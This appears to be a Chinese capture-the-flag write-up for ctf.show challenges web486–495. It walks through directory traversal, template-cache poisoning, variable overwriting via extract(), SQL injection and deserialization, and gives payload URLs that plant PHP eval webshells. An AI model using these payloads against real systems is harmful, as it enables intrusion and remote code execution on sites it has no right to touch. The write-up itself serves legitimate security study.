web486
日常扫目录
得到关键路径flag.php和恶templates。
查看路由,发现存在action参数,尝试修改,报错,发现是file_get_content函数
目录穿梭即可。
web487
跟上题目一样file_get_content函数。输入../index读取主页代码。
1 |
|
盲注脚本:
1 | import requests |
得到flag。
web488
一样先读取文件。
index.php:
1 |
|
render/render_class.php:
1 |
|
render/db_class.php:
1 |
|
render/file_class.php:
1 |
|
render/cache_class.php:
1 |
|
可以写入文件实现rce,payload:
1 | ?action=check&username=<?=@eval($_POST[1])?>&password=1 |
然后访问
1 | /cache/cb5e100e5a9a3e7f6d1fd97512215282.php |
即可rce。
分析如下:
首先由于数据库中没有<?=@eval($_POST[1])?>
触发index.php中的
1 | templateUtil::render('error',array('username'=>$username)); |
进入到render/render_class.php中的templateUtil类的render方法。
由于一开始不存在缓存,进入以下代码:
1 | $templateContent=fileUtil::read('templates/'.$template.'.php'); |
可以用action=../templates/error.php得知存在/templates/error.php.其中内容为:
1 | {{username}} |
然后调用templateUtil::shade方法
将改为了我们前面输入的用户名<?=@eval($_POST[1])?>
然后再调用cache::create_cache生成缓存文件,cache类如下:
1 | class cache{ |
由于一开始不存在缓存,所以会往/cache/cb5e100e5a9a3e7f6d1fd97512215282.php写入我们的木马。
其中cb5e100e5a9a3e7f6d1fd97512215282为error的MD5值
然后rce即可。
web489
跟上题一样,先读取文件。
index.php:
1 |
|
render/render_class.php:
1 |
|
render/file_class.php:
1 |
|
render/cache_class.php:
1 |
|
render/db_class.php:
1 |
|
读取/templates/error.php,发现里面没有东西,也就是说上题的漏洞被堵住了。
审计代码,发现存在extract($_GET);这个函数可以存在变量覆盖。
也就是说,我们只需要用GET传参覆盖掉$sql,就可以无需数据库中有‘username’进入到templateUtil::render(‘index’,array(‘username’=>$username));
然后的方法就跟上题一样了
先action=clear清理缓存。然后访问下面的payload即可
payload:
1 | https://c70e0db2-f20a-4b25-845e-bad3defa5ff5.challenge.ctf.show/index.php?action=check&sql=select 1&username=<?=@eval($_POST[1]);?>&password=1 |
然后访问cache/6a992d5529f459a44fee58c733255e86.php即可rce
其中6a992d5529f459a44fee58c733255e86为 md5(‘index’)。
web490
index.php:
1 |
|
render/render_class.php
1 |
|
render/file_class.php
1 |
|
render/cache_class.php:
1 |
|
render/db_class.php
1 |
|
审计代码,发现对username没有进行md5加密,判断存在sql注入。
先清理缓存。
然后写入木马
payload:
1 | https://70d3f381-6877-4554-a259-c1e21632fa40.challenge.ctf.show/index.php?action=check&username=1%27%20union%20select%20%27@eval($_POST[1]);%27--+%20#&password=1 |
然后访问/cache/6a992d5529f459a44fee58c733255e86.php即可rce
web491
盲注:
1 | import requests |
web492
index.php:
1 | <?php |
审计代码,发现可以用extract函数来覆盖$user从而绕过过滤。
payload:
1 | https://43674800-2f91-466e-a0f8-b5e5743a222d.challenge.ctf.show/index.php?action=check&user[username]=--%3E%3C?=eval($_POST[1]);?%3E%3C!%20-- |
web493
反序列化
1 | <?php |
cookie发送.
然后访问/shell.php即可rce
web494
跟上题一样,rce后使用蚁剑连接。
去数据库找flag,密码为root
然后就可以获得flag。
若是点击执行sql没反应请参考链接:蚁剑连接数据库后,解决执行一直转圈的问题-CSDN博客
web495
同web494